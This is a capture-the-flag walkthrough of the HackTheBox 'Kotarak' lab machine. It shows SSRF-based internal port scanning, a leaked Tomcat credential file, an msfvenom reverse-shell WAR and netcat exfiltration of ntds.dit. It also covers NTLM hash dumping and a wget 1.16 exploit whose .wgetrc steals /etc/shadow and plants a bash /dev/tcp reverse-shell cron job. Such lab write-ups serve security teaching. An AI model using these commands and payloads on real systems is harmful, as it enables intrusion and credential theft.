HackTheBox Kotarak
Writeup for HackTheBox Kotarak
Machine Synopsis
Kotarak focuses on many different attack vectors and requires quite a few steps for completion. It is a great learning experience as many of the topics are not covered by other machines on Hack The Box. (Source)
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ nmap -p- --min-rate 10000 10.10.10.55
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8009/tcp open ajp13
8080/tcp open http-proxy
60000/tcp open unknown
❯ nmap -p 22,8009,8080,60000 -sC -sV 10.10.10.55
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e2:d7:ca:0e:b7:cb:0a:51:f7:2e:75:ea:02:24:17:74 (RSA)
| 256 e8:f1:c0:d3:7d:9b:43:73:ad:37:3b:cb:e1:64:8e:e9 (ECDSA)
|_ 256 6d:e9:26:ad:86:02:2d:68:e1:eb:ad:66:a0:60:17:b8 (ED25519)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
| Supported methods: GET HEAD POST PUT DELETE OPTIONS
| Potentially risky methods: PUT DELETE
|_ See https://nmap.org/nsedoc/scripts/ajp-methods.html
8080/tcp open http Apache Tomcat 8.5.5
|_http-title: Apache Tomcat/8.5.5 - Error report
|_http-favicon: Apache Tomcat
| http-methods:
|_ Potentially risky methods: PUT DELETE
60000/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Kotarak Web Hosting
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Use whatweb
to identify the web technologies used for http://10.10.10.55:8080
.
1
2
❯ whatweb http://10.10.10.55:8080/
http://10.10.10.55:8080/ [404 Not Found] Apache-Tomcat[8.5.5], Content-Language[en], Country[RESERVED][ZZ], HTML5, IP[10.10.10.55], Title[Apache Tomcat/8.5.5 - Error report]
Check for any interesting directories for http://10.10.10.55:8080
.
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ feroxbuster -u 'http://10.10.10.55:8080'
...
302 GET 0l 0w 0c http://10.10.10.55:8080/docs => http://10.10.10.55:8080/docs/
302 GET 0l 0w 0c http://10.10.10.55:8080/manager => http://10.10.10.55:8080/manager/
302 GET 0l 0w 0c http://10.10.10.55:8080/docs/images => http://10.10.10.55:8080/docs/images/
404 GET 44l 184w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 0l 0w 0c http://10.10.10.55:8080/docs/config => http://10.10.10.55:8080/docs/config/
302 GET 0l 0w 0c http://10.10.10.55:8080/docs/api => http://10.10.10.55:8080/docs/api/
302 GET 0l 0w 0c http://10.10.10.55:8080/manager/images => http://10.10.10.55:8080/manager/images/
401 GET 63l 289w 2473c http://10.10.10.55:8080/manager/text/
401 GET 63l 289w 2473c http://10.10.10.55:8080/manager/text/css
401 GET 63l 289w 2473c http://10.10.10.55:8080/manager/html
...
There seems to be a /manager/html
endpoint.
It looks like we will need to find the credentials for this login page.
Use whatweb
again to identify the web technologies used for http://10.10.10.55:60000
.
1
2
❯ whatweb http://10.10.10.55:60000
http://10.10.10.55:60000 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.55], Title[Kotarak Web Hosting][Title element contains newline(s)!]
Find any interesting directories on http://10.10.10.55:60000
.
1
2
3
4
5
6
7
❯ feroxbuster -u http://10.10.10.55:60000 -x php
...
200 GET 2l 0w 2c http://10.10.10.55:60000/url.php
200 GET 76l 130w 1169c http://10.10.10.55:60000/
200 GET 76l 130w 1169c http://10.10.10.55:60000/index.php
200 GET 1110l 5668w 92244c http://10.10.10.55:60000/info.php
...
Lets check out the info.php
page for any useful information.
1
2
3
4
5
❯ curl http://10.10.10.55:60000/info.php | grep file_uploads
...
<tr><td class="e">file_uploads</td><td class="v">On</td><td class="v">On</td></tr>
<tr><td class="e">max_file_uploads</td><td class="v">20</td><td class="v">20</td></tr>
...
We observe that the info.php
page reveals that we are able upload files.
Typing shiro
into the input box and clicking submit redirects us to http://10.10.10.55:60000/url.php?path=shiro
.
What if we submit a URL pointing to our own server instead?
Submitting http://10.10.16.7
redirects us to http://10.10.10.55:60000/url.php?path=http%3A%2F%2F10.10.16.7
.
However, we can observe that the server made a request to our server.
1
2
3
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.55 - - [23/Jan/2025 13:21:42] "GET / HTTP/1.1" 200 -
This indicates a possible SSRF vulnerability.
Lets do a localhost
port scan with wfuzz
. Note: filter out outputs with only 2 characters because these are highly likely to be false positives.
1
2
3
4
5
6
7
8
9
10
11
12
❯ wfuzz -c -z range,1-65535 --hl=2 'http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ'
...
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000022: 200 4 L 4 W 62 Ch "22"
000000110: 200 17 L 24 W 187 Ch "110"
000000090: 200 11 L 18 W 156 Ch "90"
000000200: 200 3 L 2 W 22 Ch "200"
000000320: 200 26 L 109 W 1232 Ch "320"
000000888: 200 78 L 265 W 3955 Ch "888"
000060000: 200 78 L 130 W 1171 Ch "60000"
Lets do a curl
request to each of this localhost ports identified.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
❯ for port in 22 110 90 200 320 888 60000; do echo "Port $port:"; curl -s "http://10.10.10.55:60000/url.php?path=localhost:$port"; echo "\n"; done
Port 22:
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2
Protocol mismatch.
Port 110:
<html>
<head>
<title> favorites / bookmark title goes here </title>
</head>
<body bgcolor="white" text="blue">
<h1>Test page </h1>
Absolutely nothing to see here.
</body>
</html>
Port 90:
<!DOCTYPE>
<html>
<head>
<title>Under Construction</title>
</head>
<bodyd>
<p>This page is under construction. Please come back soon!</p>
</body>
</html>
Port 200:
<b>Hello world!</b>
Port 320:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html>
<head>
<title>Accounting</title>
<style type="text/css">
html,body{height: 50%; padding:0; margin:0;}
form{ width:30em;height:9em; margin:-5em auto 0 auto; position: relative; top:50%; border:1px dotted #ccc; padding:.25em; }
fieldset{ margin:0; border:0;padding:0;}
legend{float:left; font-size: 200%; text-align: center; color:blue; font-weight: bold; border-bottom: 1px solid blue; width:15em; padding:0; }
label, label+ input {display:inline; float:left;margin-top:1em;}
label{text-align: right; width:28%; clear: left; margin-top:.8em; }
label+ input{ width:60%; padding:.25em; ; margin-left:.5em; border: 1px inset; margin-left: }
#sub{ margin-top:1em; position: relative; float:left;clear: left; margin-left: 29%}
</style>
</head>
<body>
<form action="" method="post">
<fieldset><legend>Super Sensitive Login Page</legend>
<label for="name">Name: </label><input type="text" name="name" id="name" value="admin">
<label for="password">Password: </label><input type="password" name="password" id="password">
<input type="submit" value="Login" id="sub">
</fieldset>
</form>
</body>
</html>
Port 888:
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1"/>
<title>Simple File Viewer</title>
<link href="inc/default.css" rel="stylesheet" type="text/css" />
<!--[if lt IE 7.]>
<script defer type="text/javascript" src="inc/js/pngfix.js"></script>
<![endif]-->
</head>
<body>
<div id="contents">
<h1>
Simple File Viewer </h1><table width="100%" border="0" cellpadding="5" cellspacing="0" class="tableBorder">
<tr>
<td width="35" valign="bottom" class="path">Path: </td>
<td>
<a href="?nav=" class="pathDir"><img src="inc/images/go-home.png" alt="dir" width="18" height="18" border="0" align="bottom"/> Root</a>
</td>
</tr>
</table>
<br/>
<table width="100%" border="0" cellpadding="5" cellspacing="0" class="tableBorder">
<tr>
<td colspan="2" class="tableHeader"><a href="?nav=&column=name&order=desc"><img src="inc/images/go-down.png" border="0" height="10" alt="order DESC"/> Name</a></td>
<td width="70" class="tableHeader" align="right"><a href="?nav=&column=size&order=asc">Size</a></td>
<td width="155" class="tableHeader" align="right"><a href="?nav=&column=lastm&order=asc">Date modified</a></td>
</tr>
<tr >
<td width="27"><a href="?doc=backup" class="tableElement"><img src="inc/images/generic.png" alt="dir" width="22" height="22" border="0"></a></td>
<td class="tableElement"><a href="?doc=backup" class="tableElement">backup</a></td>
<td class="tableElementInfo"> 2.22 kB</td>
<td class="tableElementInfo"> 18 07 2017 21:42:11</td>
</tr>
<tr class="tableOdd">
<td width="27"><a href="?doc=blah" class="tableElement"><img src="inc/images/generic.png" alt="dir" width="22" height="22" border="0"></a></td>
<td class="tableElement"><a href="?doc=blah" class="tableElement">blah</a></td>
<td class="tableElementInfo"> 1 kB</td>
<td class="tableElementInfo"> 13 07 2017 00:38:10</td>
</tr>
<tr >
<td width="27"><a href="?doc=is" class="tableElement"><img src="inc/images/generic.png" alt="dir" width="22" height="22" border="0"></a></td>
<td class="tableElement"><a href="?doc=is" class="tableElement">is</a></td>
<td class="tableElementInfo"> 0 B </td>
<td class="tableElementInfo"> 18 07 2017 21:50:21</td>
</tr>
<tr class="tableOdd">
<td width="27"><a href="?doc=on" class="tableElement"><img src="inc/images/generic.png" alt="dir" width="22" height="22" border="0"></a></td>
<td class="tableElement"><a href="?doc=on" class="tableElement">on</a></td>
<td class="tableElementInfo"> 0 B </td>
<td class="tableElementInfo"> 18 07 2017 21:50:29</td>
</tr>
<tr >
<td width="27"><a href="?doc=tetris.c" class="tableElement"><img src="inc/images/generic.png" alt="dir" width="22" height="22" border="0"></a></td>
<td class="tableElement"><a href="?doc=tetris.c" class="tableElement">tetris.c</a></td>
<td class="tableElementInfo"> 6.16 kB</td>
<td class="tableElementInfo"> 18 07 2017 21:48:50</td>
</tr>
<tr class="tableOdd">
<td width="27"><a href="?doc=thing" class="tableElement"><img src="inc/images/generic.png" alt="dir" width="22" height="22" border="0"></a></td>
<td class="tableElement"><a href="?doc=thing" class="tableElement">thing</a></td>
<td class="tableElementInfo"> 0 B </td>
<td class="tableElementInfo"> 18 07 2017 21:50:29</td>
</tr>
<tr >
<td width="27"><a href="?doc=this" class="tableElement"><img src="inc/images/generic.png" alt="dir" width="22" height="22" border="0"></a></td>
<td class="tableElement"><a href="?doc=this" class="tableElement">this</a></td>
<td class="tableElementInfo"> 0 B </td>
<td class="tableElementInfo"> 18 07 2017 21:50:21</td>
</tr>
</table>
</div>
</body>
</html>
Port 60000:
<!DOCTYPE html>
<html>
<head>
<style>
div.container {
width: 100%;
border: 1px solid gray;
}
header, footer {
padding: 1em;
color: white;
background-color: black;
clear: left;
text-align: center;
}
nav {
float: left;
max-width: 160px;
margin: 0;
padding: 1em;
}
nav ul {
list-style-type: none;
padding: 0;
}
nav ul a {
text-decoration: none;
}
article {
margin-left: 170px;
border-left: 1px solid gray;
padding: 1em;
overflow: hidden;
}
</style>
<title>
Kotarak Web Hosting
</title>
</head>
<body>
<div class="container">
<header>
<h1>Welcome to Kotarak Web Hosting Private Browser</h1>
</header>
<nav>
<ul>
<li><a href="#">Home</a></li>
<li><a href="#">Help</a></li>
<li><a href="#">Admin</a></li>
</ul>
</nav>
<br>
<article>Use this private web browser to surf the web anonymously. Please do not abuse it!</p>
<br>
<form method="GET" action="url.php">
<input type="text" value="" name="path">
<input type="submit" value="Submit">
</form>
</article>
<br>
<footer></footer>
</div>
</body>
</html>
The interesting ports seems to be port 320
and port 888
.
Port 320
shows us another login page.
Port 888
shows us some interesting files such as backup
. Lets read the backup
file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
❯ curl -s "http://10.10.10.55:60000/url.php?path=http%3A%2F%2Flocalhost%3A888?doc=backup"
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<!--
NOTE: By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary. It is
strongly recommended that you do NOT use one of the users in the commented out
section below since they are intended for use with the examples web
application.
-->
<!--
NOTE: The sample user and role entries below are intended for use with the
examples web application. They are wrapped in a comment and thus are ignored
when reading this file. If you wish to configure these users for use with the
examples web application, do not forget to remove the <!.. ..> that surrounds
them. You will also need to set the passwords to something appropriate.
-->
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
-->
<user username="admin" password="3@g01PdhB!" roles="manager,manager-gui,admin-gui,manager-script"/>
</tomcat-users>
We found the credentials admin:3@g01PdhB!
. Lets login to the Tomcat Manager on http://10.10.10.55:8080/manager/html
.
Exploitation
On Tomcat Manager, we are able to upload and deploy .war
files. Lets create a malicious .war
file.
1
2
3
4
❯ msfvenom -p java/shell_reverse_tcp LHOST=10.10.16.7 LPORT=443 -f war -o shell.war
Payload size: 13022 bytes
Final size of war file: 13022 bytes
Saved as: shell.war
Start our listener.
1
2
3
4
5
6
7
8
9
10
11
12
❯ msfconsole -q
[*] Starting persistent handler(s)...
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/shell_reverse_tcp
payload => java/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf6 exploit(multi/handler) > set lport 443
lport => 443
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.16.7:443
Upload the shell.war
file and deploy it.
Once deployed, we can see the list of applications available.
Click on the /shell
link to execute the payload.
1
2
3
4
5
6
7
8
9
10
11
12
13
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.16.7:443
[*] Command shell session 1 opened (10.10.16.7:443 -> 10.10.10.55:53450)
whoami
tomcat
which python3
/usr/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
tomcat@kotarak-dmz:/$ cd /home
tomcat@kotarak-dmz:/home$ ls
atanas tomcat
tomcat@kotarak-dmz:/home$ cat atanas/user.txt
cat: atanas/user.txt: Permission denied
It looks like we do not have enough permissions to access atanas
files. Lets enumerate around tomcat
files for anything useful.
1
2
3
4
5
6
7
tomcat@kotarak-dmz:/home$ cd tomcat
tomcat@kotarak-dmz:/home/tomcat$ ls -l
total 4
drwxr-xr-x 3 tomcat tomcat 4096 Jul 21 2017 to_archive
tomcat@kotarak-dmz:/home/tomcat$ find . -type f
./to_archive/pentest_data/20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
./to_archive/pentest_data/20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit
It looks like we found a ntds.dit
file and possibly the SYSTEM
file to decrypt the ntds.dit
!
Lets transfer the files out.
1
2
3
4
5
❯ nc -nlvp 8888 > SYSTEM
listening on [any] 8888 ...
❯ nc -nlvp 8888 > ntds.dit
listening on [any] 8888 ...
1
2
3
tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ nc 10.10.16.7 8888 < 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ nc 10.10.16.7 8888 < 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit
1
2
3
❯ ls -l SYSTEM ntds.dit
-rw-rw-r-- 1 shiro shiro 12189696 Jan 23 15:10 SYSTEM
-rw-rw-r-- 1 shiro shiro 16793600 Jan 23 15:11 ntds.dit
Now lets run impacket-secretsdump
to dump the NTLM hashes of the users.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x14b6fb98fedc8e15107867c4722d1399
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d77ec2af971436bccb3b6fc4a969d7ff
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN-3G2B0H151AC$:1000:aad3b435b51404eeaad3b435b51404ee:668d49ebfdb70aeee8bcaeac9e3e66fd:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ca1ccefcb525db49828fbb9d68298eee:::
WIN2K8$:1103:aad3b435b51404eeaad3b435b51404ee:160f6c1db2ce0994c19c46a349611487:::
WINXP1$:1104:aad3b435b51404eeaad3b435b51404ee:6f5e87fd20d1d8753896f6c9cb316279:::
WIN2K31$:1105:aad3b435b51404eeaad3b435b51404ee:cdd7a7f43d06b3a91705900a592f3772:::
WIN7$:1106:aad3b435b51404eeaad3b435b51404ee:24473180acbcc5f7d2731abe05cfa88c:::
atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
...
Crackstation was able to crack the following hashes.
1
2
e64fe0f24ba2489c05e64354d74ebd11 NTLM f16tomcat!
2b576acbe6bcfda7294d6bd18041b8fe NTLM Password123!
Lets try to switch user to atanas
.
1
2
3
4
5
6
7
8
9
tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ su atanas
Password: Password123!
su: Authentication failure
tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ su atanas
Password: f16tomcat!
atanas@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ cat /home/atanas/user.txt
93f844f50491ef797c9c1b601b4bece8
Privilege Escalation
1
2
3
4
5
6
7
8
9
10
11
atanas@kotarak-dmz:~$ sudo -l
sudo: unable to resolve host kotarak-dmz: Connection refused
[sudo] password for atanas: f16tomcat!
Sorry, user atanas may not run sudo on kotarak-dmz.
atanas@kotarak-dmz:~$ ls /root
app.log flag.txt
atanas@kotarak-dmz:~$ cat /root/flag.txt
Getting closer! But what you are looking for can't be found here.
It looks like we were able to read the files in /root
but the flag is not here.
Lets read the app.log
file.
1
2
3
4
atanas@kotarak-dmz:~$ cat /root/app.log
10.0.3.133 - - [20/Jul/2017:22:48:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:50:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:52:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
The logs indicate that the wget
version is using 1.16
. Lets search for any available exploits for that specific version.
1
2
3
4
5
6
❯ searchsploit wget
...
GNU Wget < 1.18 - Access List Bypass / Race Condition | multiple/remote/40824.py
GNU Wget < 1.18 - Arbitrary File Upload (2) | linux/remote/49815.py
GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution | linux/remote/40064.txt
...
The exploit that we are interested in is GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution
.
Reading the exploit writeup shows the following information.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ subl 40064.txt
...
attackers-server# mkdir /tmp/ftptest
attackers-server# cd /tmp/ftptest
attackers-server# cat <<_EOF_>.wgetrc
post_file = /etc/shadow
output_document = /etc/cron.d/wget-root-shell
_EOF_
attackers-server# sudo pip install pyftpdlib
attackers-server# python -m pyftpdlib -p21 -w
...
---[ wget-exploit.py ]---
#!/usr/bin/env python
...
attackers-server# python ./wget-exploit.py
We have to create a new ftptest
directory, create a malicious .wgetrc
file, start a Python FTP server, and launch wget-exploit.py
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
atanas@kotarak-dmz:~$ mkdir ftptest
atanas@kotarak-dmz:~$ cd ftptest
atanas@kotarak-dmz:~/ftptest$ cat <<_EOF_>.wgetrc
> post_file = /etc/shadow
> output_document = /etc/cron.d/wget-root-shell
> _EOF_
atanas@kotarak-dmz:~/ftptest$ ls -la
total 12
drwxrwxr-x 2 atanas atanas 4096 Jan 23 02:24 .
drwxr-xr-x 5 atanas atanas 4096 Jan 23 02:24 ..
-rw-rw-r-- 1 atanas atanas 70 Jan 23 02:24 .wgetrc
atanas@kotarak-dmz:~/ftptest$ authbind python -m pyftpdlib -p21 -w &
[1] 80673
atanas@kotarak-dmz:~/ftptest$ /usr/local/lib/python2.7/dist-packages/pyftpdlib/authorizers.py:243: RuntimeWarning: write permissions assigned to anonymous user.
RuntimeWarning)
[I 2025-01-23 02:25:50] >>> starting FTP server on 0.0.0.0:21, pid=80673 <<<
[I 2025-01-23 02:25:50] concurrency model: async
[I 2025-01-23 02:25:50] masquerade (NAT) address: None
[I 2025-01-23 02:25:50] passive ports: None
<press Enter here to get unstuck>
Edit the wget-exploit.py
code on our local machine.
1
2
3
4
5
6
7
8
9
❯ cat wget-exploit.py
...
HTTP_LISTEN_IP = '0.0.0.0'
HTTP_LISTEN_PORT = 80
FTP_HOST = '10.10.10.55'
FTP_PORT = 21
ROOT_CRON = "* * * * * root bash -c 'bash -i >& /dev/tcp/10.10.16.7/443 0>&1' \n"
...
Download the modified wget-exploit.py
file onto the victim machine and execute it.
1
2
3
4
5
6
7
8
9
atanas@kotarak-dmz:~/ftptest$ wget http://10.10.16.7/wget-exploit.py
atanas@kotarak-dmz:~/ftptest$ ls
wget-exploit.py
atanas@kotarak-dmz:~/ftptest$ authbind python wget-exploit.py
Ready? Is your FTP server running?
[I 2025-01-23 02:26:15] 10.10.10.55:40044-[] FTP session opened (connect)
FTP found open on 10.10.10.55:21. Let's go then
Serving wget exploit on port 80...
Start our netcat listener.
1
2
❯ nc -nlvp 443
listening on [any] 443 ...
Wait for the exploit to complete.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Serving wget exploit on port 80...
We have a volunteer requesting /archive.tar.gz by GET :)
Uploading .wgetrc via ftp redirect vuln. It should land in /root
10.0.3.133 - - [23/Jan/2025 02:28:01] "GET /archive.tar.gz HTTP/1.1" 301 -
Sending redirect to ftp://anonymous@10.10.10.55:21/.wgetrc
[I 2025-01-23 02:28:01] 10.0.3.133:51214-[] FTP session opened (connect)
[I 2025-01-23 02:28:01] 10.0.3.133:51214-[anonymous] USER 'anonymous' logged in.
[I 2025-01-23 02:28:01] 10.0.3.133:51214-[anonymous] RETR /home/atanas/ftptest/.wgetrc completed=1 bytes=70 seconds=0.0
[I 2025-01-23 02:28:01] 10.0.3.133:51214-[anonymous] FTP session closed (disconnect).
We have a volunteer requesting /archive.tar.gz by POST :)
Received POST from wget, this should be the extracted /etc/shadow file:
---[begin]---
root:*:17366:0:99999:7:::
daemon:*:17366:0:99999:7:::
bin:*:17366:0:99999:7:::
sys:*:17366:0:99999:7:::
sync:*:17366:0:99999:7:::
games:*:17366:0:99999:7:::
man:*:17366:0:99999:7:::
lp:*:17366:0:99999:7:::
mail:*:17366:0:99999:7:::
news:*:17366:0:99999:7:::
uucp:*:17366:0:99999:7:::
proxy:*:17366:0:99999:7:::
www-data:*:17366:0:99999:7:::
backup:*:17366:0:99999:7:::
list:*:17366:0:99999:7:::
irc:*:17366:0:99999:7:::
gnats:*:17366:0:99999:7:::
nobody:*:17366:0:99999:7:::
systemd-timesync:*:17366:0:99999:7:::
systemd-network:*:17366:0:99999:7:::
systemd-resolve:*:17366:0:99999:7:::
systemd-bus-proxy:*:17366:0:99999:7:::
syslog:*:17366:0:99999:7:::
_apt:*:17366:0:99999:7:::
sshd:*:17366:0:99999:7:::
ubuntu:$6$edpgQgfs$CcJqGkt.zKOsMx1LCTCvqXyHCzvyCy1nsEg9pq1.dCUizK/98r4bNtLueQr4ivipOiNlcpX26EqBTVD2o8w4h0:17368:0:99999:7:::
---[eof]---
Sending back a cronjob script as a thank-you for the file...
It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)
10.0.3.133 - - [23/Jan/2025 02:30:01] "POST /archive.tar.gz HTTP/1.1" 200 -
File was served. Check on /root/hacked-via-wget on the victim's host in a minute! :)
Check our netcat listener for the root
shell.
1
2
3
4
5
6
7
8
9
10
11
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.55] 59962
bash: cannot set terminal process group (787): Inappropriate ioctl for device
bash: no job control in this shell
root@kotarak-int:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@kotarak-int:~# cat /root/root.txt
cat /root/root.txt
950d1425795dfd38272c93ccbb63ae2c